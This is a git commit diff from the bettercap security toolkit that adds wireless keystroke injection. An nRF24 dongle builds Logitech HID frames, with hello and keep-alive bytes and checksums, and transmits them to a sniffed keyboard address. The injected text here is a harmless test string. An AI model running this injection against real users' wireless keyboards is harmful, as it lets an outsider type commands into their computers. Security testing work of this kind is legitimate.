mirror of
https://github.com/bettercap/bettercap
synced 2025-08-20 13:33:21 -07:00
basic HID injection is finally working :)
This commit is contained in:
parent
e0853ade9b
commit
d6c406cb73
7 changed files with 298 additions and 164 deletions
|
@ -5,7 +5,7 @@ import (
|
||||||
)
|
)
|
||||||
|
|
||||||
type FrameBuilder interface {
|
type FrameBuilder interface {
|
||||||
BuildFrames(commands []Command)
|
BuildFrames([]*Command)
|
||||||
}
|
}
|
||||||
|
|
||||||
var FrameBuilders = map[network.HIDType]FrameBuilder{
|
var FrameBuilders = map[network.HIDType]FrameBuilder{
|
||||||
|
|
|
@ -1,11 +1,40 @@
|
||||||
package hid_recon
|
package hid_recon
|
||||||
|
|
||||||
type Frame []byte
|
import (
|
||||||
|
"time"
|
||||||
|
)
|
||||||
|
|
||||||
|
type Frame struct {
|
||||||
|
Data []byte
|
||||||
|
Delay time.Duration
|
||||||
|
}
|
||||||
|
|
||||||
|
func NewFrame(buf []byte, delay int) Frame {
|
||||||
|
return Frame{
|
||||||
|
Data: buf,
|
||||||
|
Delay: time.Millisecond * time.Duration(delay),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
type Command struct {
|
type Command struct {
|
||||||
Mode byte
|
Mode byte
|
||||||
HID byte
|
HID byte
|
||||||
Char string
|
Char string
|
||||||
Sleep byte
|
Sleep int
|
||||||
Frames []Frame
|
Frames []Frame
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func (cmd *Command) AddFrame(buf []byte, delay int) {
|
||||||
|
if cmd.Frames == nil {
|
||||||
|
cmd.Frames = make([]Frame, 0)
|
||||||
|
}
|
||||||
|
cmd.Frames = append(cmd.Frames, NewFrame(buf, delay))
|
||||||
|
}
|
||||||
|
|
||||||
|
func (cmd Command) IsHID() bool {
|
||||||
|
return cmd.HID != 0 || cmd.Mode != 0
|
||||||
|
}
|
||||||
|
|
||||||
|
func (cmd Command) IsSleep() bool {
|
||||||
|
return cmd.Sleep > 0
|
||||||
|
}
|
||||||
|
|
91
modules/hid_recon/hid_inject.go
Normal file
91
modules/hid_recon/hid_inject.go
Normal file
|
@ -0,0 +1,91 @@
|
||||||
|
package hid_recon
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"github.com/evilsocket/islazy/tui"
|
||||||
|
|
||||||
|
"github.com/dustin/go-humanize"
|
||||||
|
)
|
||||||
|
|
||||||
|
func (mod *HIDRecon) isInjecting() bool {
|
||||||
|
return mod.inInjectMode
|
||||||
|
}
|
||||||
|
|
||||||
|
func (mod *HIDRecon) setInjectionMode(address string) error {
|
||||||
|
if err := mod.setSniffMode(address); err != nil {
|
||||||
|
return err
|
||||||
|
} else if address == "clear" {
|
||||||
|
mod.inInjectMode = false
|
||||||
|
} else {
|
||||||
|
mod.inInjectMode = true
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (mod *HIDRecon) doInjection() {
|
||||||
|
dev, found := mod.Session.HID.Get(mod.sniffAddr)
|
||||||
|
if found == false {
|
||||||
|
mod.Warning("could not find HID device %s", mod.sniffAddr)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
builder, found := FrameBuilders[dev.Type]
|
||||||
|
if found == false {
|
||||||
|
mod.Warning("HID frame injection is not supported for device type %s", dev.Type.String())
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
keyLayout := KeyMapFor(mod.keyLayout)
|
||||||
|
if keyLayout == nil {
|
||||||
|
mod.Warning("could not find keymap for '%s' layout", mod.keyLayout)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
str := "hello world from bettercap ^_^"
|
||||||
|
cmds := make([]*Command, 0)
|
||||||
|
for _, c := range str {
|
||||||
|
ch := fmt.Sprintf("%c", c)
|
||||||
|
if m, found := keyLayout[ch]; found {
|
||||||
|
cmds = append(cmds, &Command{
|
||||||
|
Char: ch,
|
||||||
|
HID: m.HID,
|
||||||
|
Mode: m.Mode,
|
||||||
|
})
|
||||||
|
} else {
|
||||||
|
mod.Warning("could not find HID command for '%c'", ch)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
builder.BuildFrames(cmds)
|
||||||
|
numFrames := 0
|
||||||
|
szFrames := 0
|
||||||
|
for _, cmd := range cmds {
|
||||||
|
for _, frame := range cmd.Frames {
|
||||||
|
numFrames++
|
||||||
|
szFrames += len(frame.Data)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
mod.Info("sending %d (%s) HID frames to %s (type:%s layout:%s) ...",
|
||||||
|
numFrames,
|
||||||
|
humanize.Bytes(uint64(szFrames)),
|
||||||
|
tui.Bold(mod.sniffAddr),
|
||||||
|
tui.Yellow(dev.Type.String()),
|
||||||
|
tui.Yellow(mod.keyLayout))
|
||||||
|
|
||||||
|
for i, cmd := range cmds {
|
||||||
|
for j, frame := range cmd.Frames {
|
||||||
|
if err := mod.dongle.TransmitPayload(frame.Data, 500, 3); err != nil {
|
||||||
|
mod.Warning("error sending frame #%d of HID command #%d: %v", j, i, err)
|
||||||
|
}
|
||||||
|
|
||||||
|
if frame.Delay > 0 {
|
||||||
|
mod.Debug("sleeping %dms after frame #%d of command #%d ...", frame.Delay, j, i)
|
||||||
|
time.Sleep(frame.Delay)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -46,7 +46,7 @@ var BaseMap = KeyMap{
|
||||||
}
|
}
|
||||||
|
|
||||||
var KeyMaps = map[string]KeyMap{
|
var KeyMaps = map[string]KeyMap{
|
||||||
"be": KeyMap{
|
"BE": KeyMap{
|
||||||
" ": Command{HID: 44},
|
" ": Command{HID: 44},
|
||||||
"$": Command{HID: 48},
|
"$": Command{HID: 48},
|
||||||
"(": Command{HID: 34},
|
"(": Command{HID: 34},
|
||||||
|
@ -156,7 +156,7 @@ var KeyMaps = map[string]KeyMap{
|
||||||
"y": Command{HID: 28},
|
"y": Command{HID: 28},
|
||||||
"}": Command{HID: 39, Mode: 64},
|
"}": Command{HID: 39, Mode: 64},
|
||||||
},
|
},
|
||||||
"fr": KeyMap{
|
"FR": KeyMap{
|
||||||
" ": Command{HID: 44},
|
" ": Command{HID: 44},
|
||||||
"$": Command{HID: 48},
|
"$": Command{HID: 48},
|
||||||
"(": Command{HID: 34},
|
"(": Command{HID: 34},
|
||||||
|
@ -254,7 +254,7 @@ var KeyMaps = map[string]KeyMap{
|
||||||
"y": Command{HID: 28},
|
"y": Command{HID: 28},
|
||||||
"}": Command{HID: 46, Mode: 64},
|
"}": Command{HID: 46, Mode: 64},
|
||||||
},
|
},
|
||||||
"ch": KeyMap{
|
"CH": KeyMap{
|
||||||
" ": Command{HID: 44},
|
" ": Command{HID: 44},
|
||||||
"$": Command{HID: 49},
|
"$": Command{HID: 49},
|
||||||
"(": Command{HID: 37, Mode: 2},
|
"(": Command{HID: 37, Mode: 2},
|
||||||
|
@ -362,7 +362,7 @@ var KeyMaps = map[string]KeyMap{
|
||||||
"y": Command{HID: 29},
|
"y": Command{HID: 29},
|
||||||
"}": Command{HID: 49, Mode: 64},
|
"}": Command{HID: 49, Mode: 64},
|
||||||
},
|
},
|
||||||
"dk": KeyMap{
|
"DK": KeyMap{
|
||||||
"ð": Command{HID: 7, Mode: 64},
|
"ð": Command{HID: 7, Mode: 64},
|
||||||
" ": Command{HID: 44},
|
" ": Command{HID: 44},
|
||||||
"$": Command{HID: 33, Mode: 64},
|
"$": Command{HID: 33, Mode: 64},
|
||||||
|
@ -476,7 +476,7 @@ var KeyMaps = map[string]KeyMap{
|
||||||
"y": Command{HID: 28},
|
"y": Command{HID: 28},
|
||||||
"}": Command{HID: 39, Mode: 64},
|
"}": Command{HID: 39, Mode: 64},
|
||||||
},
|
},
|
||||||
"pt": KeyMap{
|
"PT": KeyMap{
|
||||||
" ": Command{HID: 44},
|
" ": Command{HID: 44},
|
||||||
"$": Command{HID: 33, Mode: 2},
|
"$": Command{HID: 33, Mode: 2},
|
||||||
"(": Command{HID: 37, Mode: 2},
|
"(": Command{HID: 37, Mode: 2},
|
||||||
|
@ -583,7 +583,7 @@ var KeyMaps = map[string]KeyMap{
|
||||||
"y": Command{HID: 28},
|
"y": Command{HID: 28},
|
||||||
"}": Command{HID: 39, Mode: 64},
|
"}": Command{HID: 39, Mode: 64},
|
||||||
},
|
},
|
||||||
"no": KeyMap{
|
"NO": KeyMap{
|
||||||
"ð": Command{HID: 7, Mode: 64},
|
"ð": Command{HID: 7, Mode: 64},
|
||||||
" ": Command{HID: 44},
|
" ": Command{HID: 44},
|
||||||
"$": Command{HID: 33, Mode: 64},
|
"$": Command{HID: 33, Mode: 64},
|
||||||
|
@ -697,7 +697,7 @@ var KeyMaps = map[string]KeyMap{
|
||||||
"y": Command{HID: 28},
|
"y": Command{HID: 28},
|
||||||
"}": Command{HID: 39, Mode: 64},
|
"}": Command{HID: 39, Mode: 64},
|
||||||
},
|
},
|
||||||
"hr": KeyMap{
|
"HR": KeyMap{
|
||||||
"-": Command{HID: 56},
|
"-": Command{HID: 56},
|
||||||
" ": Command{HID: 44},
|
" ": Command{HID: 44},
|
||||||
"$": Command{HID: 33, Mode: 2},
|
"$": Command{HID: 33, Mode: 2},
|
||||||
|
@ -821,7 +821,7 @@ var KeyMaps = map[string]KeyMap{
|
||||||
"y": Command{HID: 29},
|
"y": Command{HID: 29},
|
||||||
"}": Command{HID: 17, Mode: 64},
|
"}": Command{HID: 17, Mode: 64},
|
||||||
},
|
},
|
||||||
"ca": KeyMap{
|
"CA": KeyMap{
|
||||||
" ": Command{HID: 44},
|
" ": Command{HID: 44},
|
||||||
"$": Command{HID: 33, Mode: 2},
|
"$": Command{HID: 33, Mode: 2},
|
||||||
"(": Command{HID: 38, Mode: 2},
|
"(": Command{HID: 38, Mode: 2},
|
||||||
|
@ -943,7 +943,7 @@ var KeyMaps = map[string]KeyMap{
|
||||||
"y": Command{HID: 28},
|
"y": Command{HID: 28},
|
||||||
"}": Command{HID: 49, Mode: 64},
|
"}": Command{HID: 49, Mode: 64},
|
||||||
},
|
},
|
||||||
"de": KeyMap{
|
"DE": KeyMap{
|
||||||
" ": Command{HID: 44},
|
" ": Command{HID: 44},
|
||||||
"$": Command{HID: 33, Mode: 2},
|
"$": Command{HID: 33, Mode: 2},
|
||||||
"(": Command{HID: 37, Mode: 2},
|
"(": Command{HID: 37, Mode: 2},
|
||||||
|
@ -1054,7 +1054,7 @@ var KeyMaps = map[string]KeyMap{
|
||||||
"y": Command{HID: 29},
|
"y": Command{HID: 29},
|
||||||
"}": Command{HID: 39, Mode: 64},
|
"}": Command{HID: 39, Mode: 64},
|
||||||
},
|
},
|
||||||
"tr": KeyMap{
|
"TR": KeyMap{
|
||||||
" ": Command{HID: 44},
|
" ": Command{HID: 44},
|
||||||
"$": Command{HID: 33, Mode: 64},
|
"$": Command{HID: 33, Mode: 64},
|
||||||
"(": Command{HID: 37, Mode: 2},
|
"(": Command{HID: 37, Mode: 2},
|
||||||
|
@ -1152,7 +1152,7 @@ var KeyMaps = map[string]KeyMap{
|
||||||
"y": Command{HID: 28},
|
"y": Command{HID: 28},
|
||||||
"}": Command{HID: 39, Mode: 64},
|
"}": Command{HID: 39, Mode: 64},
|
||||||
},
|
},
|
||||||
"it": KeyMap{
|
"IT": KeyMap{
|
||||||
" ": Command{HID: 44},
|
" ": Command{HID: 44},
|
||||||
"$": Command{HID: 33, Mode: 2},
|
"$": Command{HID: 33, Mode: 2},
|
||||||
"(": Command{HID: 37, Mode: 2},
|
"(": Command{HID: 37, Mode: 2},
|
||||||
|
@ -1253,7 +1253,7 @@ var KeyMaps = map[string]KeyMap{
|
||||||
"y": Command{HID: 28},
|
"y": Command{HID: 28},
|
||||||
"}": Command{HID: 48, Mode: 66},
|
"}": Command{HID: 48, Mode: 66},
|
||||||
},
|
},
|
||||||
"us": KeyMap{
|
"US": KeyMap{
|
||||||
" ": Command{HID: 44},
|
" ": Command{HID: 44},
|
||||||
"$": Command{HID: 33, Mode: 2},
|
"$": Command{HID: 33, Mode: 2},
|
||||||
"(": Command{HID: 38, Mode: 2},
|
"(": Command{HID: 38, Mode: 2},
|
||||||
|
@ -1351,7 +1351,7 @@ var KeyMaps = map[string]KeyMap{
|
||||||
"y": Command{HID: 28},
|
"y": Command{HID: 28},
|
||||||
"}": Command{HID: 48, Mode: 2},
|
"}": Command{HID: 48, Mode: 2},
|
||||||
},
|
},
|
||||||
"sv": KeyMap{
|
"SV": KeyMap{
|
||||||
"ð": Command{HID: 7, Mode: 64},
|
"ð": Command{HID: 7, Mode: 64},
|
||||||
" ": Command{HID: 44},
|
" ": Command{HID: 44},
|
||||||
"$": Command{HID: 33, Mode: 64},
|
"$": Command{HID: 33, Mode: 64},
|
||||||
|
@ -1464,7 +1464,7 @@ var KeyMaps = map[string]KeyMap{
|
||||||
"y": Command{HID: 28},
|
"y": Command{HID: 28},
|
||||||
"}": Command{HID: 39, Mode: 64},
|
"}": Command{HID: 39, Mode: 64},
|
||||||
},
|
},
|
||||||
"si": KeyMap{
|
"SI": KeyMap{
|
||||||
"-": Command{HID: 56},
|
"-": Command{HID: 56},
|
||||||
" ": Command{HID: 44},
|
" ": Command{HID: 44},
|
||||||
"$": Command{HID: 33, Mode: 2},
|
"$": Command{HID: 33, Mode: 2},
|
||||||
|
@ -1588,7 +1588,7 @@ var KeyMaps = map[string]KeyMap{
|
||||||
"y": Command{HID: 29},
|
"y": Command{HID: 29},
|
||||||
"}": Command{HID: 17, Mode: 64},
|
"}": Command{HID: 17, Mode: 64},
|
||||||
},
|
},
|
||||||
"gb": KeyMap{
|
"GB": KeyMap{
|
||||||
" ": Command{HID: 44},
|
" ": Command{HID: 44},
|
||||||
"$": Command{HID: 33, Mode: 2},
|
"$": Command{HID: 33, Mode: 2},
|
||||||
"(": Command{HID: 38, Mode: 2},
|
"(": Command{HID: 38, Mode: 2},
|
||||||
|
@ -1694,7 +1694,7 @@ var KeyMaps = map[string]KeyMap{
|
||||||
"y": Command{HID: 28},
|
"y": Command{HID: 28},
|
||||||
"}": Command{HID: 48, Mode: 2},
|
"}": Command{HID: 48, Mode: 2},
|
||||||
},
|
},
|
||||||
"br": KeyMap{
|
"BR": KeyMap{
|
||||||
" ": Command{HID: 44},
|
" ": Command{HID: 44},
|
||||||
"$": Command{HID: 33, Mode: 2},
|
"$": Command{HID: 33, Mode: 2},
|
||||||
"(": Command{HID: 38, Mode: 2},
|
"(": Command{HID: 38, Mode: 2},
|
||||||
|
@ -1796,7 +1796,7 @@ var KeyMaps = map[string]KeyMap{
|
||||||
"y": Command{HID: 28},
|
"y": Command{HID: 28},
|
||||||
"}": Command{HID: 49, Mode: 2},
|
"}": Command{HID: 49, Mode: 2},
|
||||||
},
|
},
|
||||||
"ru": KeyMap{
|
"RU": KeyMap{
|
||||||
" ": Command{HID: 44},
|
" ": Command{HID: 44},
|
||||||
"$": Command{HID: 33, Mode: 2},
|
"$": Command{HID: 33, Mode: 2},
|
||||||
"(": Command{HID: 38, Mode: 2},
|
"(": Command{HID: 38, Mode: 2},
|
||||||
|
@ -1887,7 +1887,7 @@ var KeyMaps = map[string]KeyMap{
|
||||||
"5": Command{HID: 34},
|
"5": Command{HID: 34},
|
||||||
"9": Command{HID: 38},
|
"9": Command{HID: 38},
|
||||||
},
|
},
|
||||||
"fi": KeyMap{
|
"FI": KeyMap{
|
||||||
" ": Command{HID: 44},
|
" ": Command{HID: 44},
|
||||||
"$": Command{HID: 33, Mode: 64},
|
"$": Command{HID: 33, Mode: 64},
|
||||||
"(": Command{HID: 37, Mode: 2},
|
"(": Command{HID: 37, Mode: 2},
|
||||||
|
@ -1993,7 +1993,7 @@ var KeyMaps = map[string]KeyMap{
|
||||||
"y": Command{HID: 28},
|
"y": Command{HID: 28},
|
||||||
"}": Command{HID: 39, Mode: 64},
|
"}": Command{HID: 39, Mode: 64},
|
||||||
},
|
},
|
||||||
"es": KeyMap{
|
"ES": KeyMap{
|
||||||
" ": Command{HID: 44},
|
" ": Command{HID: 44},
|
||||||
"$": Command{HID: 33, Mode: 2},
|
"$": Command{HID: 33, Mode: 2},
|
||||||
"(": Command{HID: 37, Mode: 2},
|
"(": Command{HID: 37, Mode: 2},
|
||||||
|
|
|
@ -1,8 +1,54 @@
|
||||||
package hid_recon
|
package hid_recon
|
||||||
|
|
||||||
|
const (
|
||||||
|
frameDelay = 12
|
||||||
|
)
|
||||||
|
|
||||||
|
var (
|
||||||
|
helloData = []byte{0x00, 0x4F, 0x00, 0x04, 0xB0, 0x10, 0x00, 0x00, 0x00, 0xED}
|
||||||
|
keepAliveData = []byte{0x00, 0x40, 0x04, 0xB0, 0x0C}
|
||||||
|
)
|
||||||
|
|
||||||
type LogitechBuilder struct {
|
type LogitechBuilder struct {
|
||||||
}
|
}
|
||||||
|
|
||||||
func (b LogitechBuilder) BuildFrames(commands []Command) {
|
func (b LogitechBuilder) frameFor(cmd *Command) []byte {
|
||||||
|
data := []byte{0, 0xC1, cmd.Mode, cmd.HID, 0, 0, 0, 0, 0, 0}
|
||||||
|
sz := len(data)
|
||||||
|
last := sz - 1
|
||||||
|
sum := byte(0xff)
|
||||||
|
|
||||||
|
for i := 0; i < last; i++ {
|
||||||
|
sum = (sum - data[i]) & 0xff
|
||||||
|
}
|
||||||
|
sum = (sum + 1) & 0xff
|
||||||
|
data[last] = sum
|
||||||
|
|
||||||
|
return data
|
||||||
|
}
|
||||||
|
|
||||||
|
func (b LogitechBuilder) BuildFrames(commands []*Command) {
|
||||||
|
numCommands := len(commands)
|
||||||
|
for i, cmd := range commands {
|
||||||
|
if i == 0 {
|
||||||
|
cmd.AddFrame(helloData, frameDelay)
|
||||||
|
}
|
||||||
|
|
||||||
|
next := (*Command)(nil)
|
||||||
|
if i < numCommands-1 {
|
||||||
|
next = commands[i+1]
|
||||||
|
}
|
||||||
|
|
||||||
|
if cmd.IsHID() {
|
||||||
|
cmd.AddFrame(b.frameFor(cmd), frameDelay)
|
||||||
|
cmd.AddFrame(keepAliveData, 0)
|
||||||
|
if next == nil || cmd.HID == next.HID || next.IsSleep() {
|
||||||
|
cmd.AddFrame(b.frameFor(&Command{}), 0)
|
||||||
|
}
|
||||||
|
} else if cmd.IsSleep() {
|
||||||
|
for i, num := 0, cmd.Sleep/10; i < num; i++ {
|
||||||
|
cmd.AddFrame(keepAliveData, 10)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
|
@ -1,17 +1,13 @@
|
||||||
package hid_recon
|
package hid_recon
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"fmt"
|
|
||||||
"sync"
|
"sync"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
"github.com/bettercap/bettercap/modules/utils"
|
"github.com/bettercap/bettercap/modules/utils"
|
||||||
"github.com/bettercap/bettercap/network"
|
|
||||||
"github.com/bettercap/bettercap/session"
|
"github.com/bettercap/bettercap/session"
|
||||||
|
|
||||||
"github.com/bettercap/nrf24"
|
"github.com/bettercap/nrf24"
|
||||||
|
|
||||||
"github.com/evilsocket/islazy/tui"
|
|
||||||
)
|
)
|
||||||
|
|
||||||
type HIDRecon struct {
|
type HIDRecon struct {
|
||||||
|
@ -31,7 +27,8 @@ type HIDRecon struct {
|
||||||
pingPayload []byte
|
pingPayload []byte
|
||||||
inSniffMode bool
|
inSniffMode bool
|
||||||
inPromMode bool
|
inPromMode bool
|
||||||
keyMap string
|
inInjectMode bool
|
||||||
|
keyLayout string
|
||||||
selector *utils.ViewSelector
|
selector *utils.ViewSelector
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -51,8 +48,9 @@ func NewHIDRecon(s *session.Session) *HIDRecon {
|
||||||
sniffAddr: "",
|
sniffAddr: "",
|
||||||
inSniffMode: false,
|
inSniffMode: false,
|
||||||
inPromMode: false,
|
inPromMode: false,
|
||||||
|
inInjectMode: false,
|
||||||
pingPayload: []byte{0x0f, 0x0f, 0x0f, 0x0f},
|
pingPayload: []byte{0x0f, 0x0f, 0x0f, 0x0f},
|
||||||
keyMap: "us",
|
keyLayout: "US",
|
||||||
}
|
}
|
||||||
|
|
||||||
mod.AddHandler(session.NewModuleHandler("hid.recon on", "",
|
mod.AddHandler(session.NewModuleHandler("hid.recon on", "",
|
||||||
|
@ -83,6 +81,16 @@ func NewHIDRecon(s *session.Session) *HIDRecon {
|
||||||
return mod.Show()
|
return mod.Show()
|
||||||
}))
|
}))
|
||||||
|
|
||||||
|
inject := session.NewModuleHandler("hid.inject ADDRESS", `(?i)^hid\.inject ([a-f0-9]{2}:[a-f0-9]{2}:[a-f0-9]{2}:[a-f0-9]{2}:[a-f0-9]{2})$`,
|
||||||
|
"TODO TODO",
|
||||||
|
func(args []string) error {
|
||||||
|
return mod.setInjectionMode(args[0])
|
||||||
|
})
|
||||||
|
|
||||||
|
inject.Complete("hid.inject", s.HIDCompleter)
|
||||||
|
|
||||||
|
mod.AddHandler(inject)
|
||||||
|
|
||||||
mod.selector = utils.ViewSelectorFor(&mod.SessionModule, "hid.show", []string{"mac", "seen"}, "mac desc")
|
mod.selector = utils.ViewSelectorFor(&mod.SessionModule, "hid.show", []string{"mac", "seen"}, "mac desc")
|
||||||
|
|
||||||
return mod
|
return mod
|
||||||
|
@ -119,33 +127,6 @@ func (mod *HIDRecon) Configure() error {
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func (mod *HIDRecon) setSniffMode(mode string) error {
|
|
||||||
mod.sniffLock.Lock()
|
|
||||||
defer mod.sniffLock.Unlock()
|
|
||||||
|
|
||||||
mod.inSniffMode = false
|
|
||||||
if mode == "clear" {
|
|
||||||
mod.Debug("restoring recon mode")
|
|
||||||
mod.sniffAddrRaw = nil
|
|
||||||
mod.sniffAddr = ""
|
|
||||||
} else {
|
|
||||||
if err, raw := nrf24.ConvertAddress(mode); err != nil {
|
|
||||||
return err
|
|
||||||
} else {
|
|
||||||
mod.Info("sniffing device %s ...", tui.Bold(mode))
|
|
||||||
mod.sniffAddr = network.NormalizeHIDAddress(mode)
|
|
||||||
mod.sniffAddrRaw = raw
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
|
|
||||||
func (mod *HIDRecon) isSniffing() bool {
|
|
||||||
mod.sniffLock.Lock()
|
|
||||||
defer mod.sniffLock.Unlock()
|
|
||||||
return mod.sniffAddrRaw != nil
|
|
||||||
}
|
|
||||||
|
|
||||||
func (mod *HIDRecon) doHopping() {
|
func (mod *HIDRecon) doHopping() {
|
||||||
if mod.inPromMode == false {
|
if mod.inPromMode == false {
|
||||||
if err := mod.dongle.EnterPromiscMode(); err != nil {
|
if err := mod.dongle.EnterPromiscMode(); err != nil {
|
||||||
|
@ -153,7 +134,7 @@ func (mod *HIDRecon) doHopping() {
|
||||||
} else {
|
} else {
|
||||||
mod.inSniffMode = false
|
mod.inSniffMode = false
|
||||||
mod.inPromMode = true
|
mod.inPromMode = true
|
||||||
mod.Info("device entered promiscuous mode")
|
mod.Debug("device entered promiscuous mode")
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -170,103 +151,6 @@ func (mod *HIDRecon) doHopping() {
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func (mod *HIDRecon) doPing() {
|
|
||||||
if mod.inSniffMode == false {
|
|
||||||
if err := mod.dongle.EnterSnifferModeFor(mod.sniffAddrRaw); err != nil {
|
|
||||||
mod.Error("error entering sniffer mode for %s: %v", mod.sniffAddr, err)
|
|
||||||
} else {
|
|
||||||
mod.inSniffMode = true
|
|
||||||
mod.inPromMode = false
|
|
||||||
mod.Info("device entered sniffer mode for %s", mod.sniffAddr)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if time.Since(mod.lastPing) >= mod.pingPeriod {
|
|
||||||
// try on the current channel first
|
|
||||||
if err := mod.dongle.TransmitPayload(mod.pingPayload, 250, 1); err != nil {
|
|
||||||
for mod.channel = 1; mod.channel <= nrf24.TopChannel; mod.channel++ {
|
|
||||||
if err := mod.dongle.SetChannel(mod.channel); err != nil {
|
|
||||||
mod.Error("error setting channel %d: %v", mod.channel, err)
|
|
||||||
} else if err = mod.dongle.TransmitPayload(mod.pingPayload, 250, 1); err == nil {
|
|
||||||
mod.lastPing = time.Now()
|
|
||||||
return
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
dev, found := mod.Session.HID.Get(mod.sniffAddr)
|
|
||||||
if found == false {
|
|
||||||
mod.Warning("could not find HID device %s", mod.sniffAddr)
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
builder, found := FrameBuilders[dev.Type]
|
|
||||||
if found == false {
|
|
||||||
mod.Warning("HID frame injection is not supported for device type %s", dev.Type.String())
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
str := "hello world"
|
|
||||||
cmds := make([]Command, 0)
|
|
||||||
keyMap := KeyMapFor(mod.keyMap)
|
|
||||||
if keyMap == nil {
|
|
||||||
mod.Warning("could not find keymap for '%s' layout", mod.keyMap)
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
for _, c := range str {
|
|
||||||
ch := fmt.Sprintf("%c", c)
|
|
||||||
if m, found := keyMap[ch]; found {
|
|
||||||
cmds = append(cmds, Command{
|
|
||||||
Char: ch,
|
|
||||||
HID: m.HID,
|
|
||||||
Mode: m.Mode,
|
|
||||||
})
|
|
||||||
} else {
|
|
||||||
mod.Warning("could not find HID command for '%c'", ch)
|
|
||||||
return
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
builder.BuildFrames(cmds)
|
|
||||||
|
|
||||||
mod.Info("injecting %d HID commands ...", len(cmds))
|
|
||||||
|
|
||||||
numFrames := 0
|
|
||||||
szFrames := 0
|
|
||||||
|
|
||||||
for i, cmd := range cmds {
|
|
||||||
for j, frame := range cmd.Frames {
|
|
||||||
numFrames++
|
|
||||||
if err := mod.dongle.TransmitPayload(frame, 250, 1); err != nil {
|
|
||||||
mod.Error("error sending frame #%d of HID command #%d: %v", j, i, err)
|
|
||||||
return
|
|
||||||
} else if cmd.Sleep > 0 {
|
|
||||||
szFrames += len(frame)
|
|
||||||
mod.Debug("sleeping %dms after frame #%d of command #%d ...", cmd.Sleep, j, i)
|
|
||||||
time.Sleep(time.Duration(cmd.Sleep) * time.Millisecond)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
mod.Info("send %d frames for %d bytes total", numFrames, szFrames)
|
|
||||||
}
|
|
||||||
|
|
||||||
func (mod *HIDRecon) onSniffedBuffer(buf []byte) {
|
|
||||||
if sz := len(buf); sz > 0 && buf[0] == 0x00 {
|
|
||||||
buf = buf[1:]
|
|
||||||
mod.Debug("sniffed payload %x for %s", buf, mod.sniffAddr)
|
|
||||||
if dev, found := mod.Session.HID.Get(mod.sniffAddr); found {
|
|
||||||
dev.LastSeen = time.Now()
|
|
||||||
dev.AddPayload(buf)
|
|
||||||
dev.AddChannel(mod.channel)
|
|
||||||
} else {
|
|
||||||
mod.Warning("got a payload for unknown device %s", mod.sniffAddr)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func (mod *HIDRecon) onDeviceDetected(buf []byte) {
|
func (mod *HIDRecon) onDeviceDetected(buf []byte) {
|
||||||
if sz := len(buf); sz >= 5 {
|
if sz := len(buf); sz >= 5 {
|
||||||
addr, payload := buf[0:5], buf[5:]
|
addr, payload := buf[0:5], buf[5:]
|
||||||
|
@ -274,17 +158,20 @@ func (mod *HIDRecon) onDeviceDetected(buf []byte) {
|
||||||
if isNew, dev := mod.Session.HID.AddIfNew(addr, mod.channel, payload); isNew {
|
if isNew, dev := mod.Session.HID.AddIfNew(addr, mod.channel, payload); isNew {
|
||||||
// sniff for a while in order to detect the device type
|
// sniff for a while in order to detect the device type
|
||||||
go func() {
|
go func() {
|
||||||
|
if err := mod.setSniffMode(dev.Address); err == nil {
|
||||||
|
mod.Debug("detecting device type ...")
|
||||||
defer func() {
|
defer func() {
|
||||||
mod.sniffLock.Unlock()
|
mod.sniffLock.Unlock()
|
||||||
mod.setSniffMode("clear")
|
mod.setSniffMode("clear")
|
||||||
}()
|
}()
|
||||||
|
|
||||||
mod.setSniffMode(dev.Address)
|
|
||||||
// make sure nobody can sniff to another
|
// make sure nobody can sniff to another
|
||||||
// address until we're not done here...
|
// address until we're not done here...
|
||||||
mod.sniffLock.Lock()
|
mod.sniffLock.Lock()
|
||||||
|
|
||||||
time.Sleep(mod.sniffPeriod)
|
time.Sleep(mod.sniffPeriod)
|
||||||
|
} else {
|
||||||
|
mod.Warning("error while sniffing %s: %v", dev.Address, err)
|
||||||
|
}
|
||||||
}()
|
}()
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -307,6 +194,12 @@ func (mod *HIDRecon) Start() error {
|
||||||
mod.doHopping()
|
mod.doHopping()
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if mod.isInjecting() {
|
||||||
|
mod.doInjection()
|
||||||
|
mod.setInjectionMode("clear")
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
buf, err := mod.dongle.ReceivePayload()
|
buf, err := mod.dongle.ReceivePayload()
|
||||||
if err != nil {
|
if err != nil {
|
||||||
mod.Warning("error receiving payload from channel %d: %v", mod.channel, err)
|
mod.Warning("error receiving payload from channel %d: %v", mod.channel, err)
|
||||||
|
|
75
modules/hid_recon/hid_sniff.go
Normal file
75
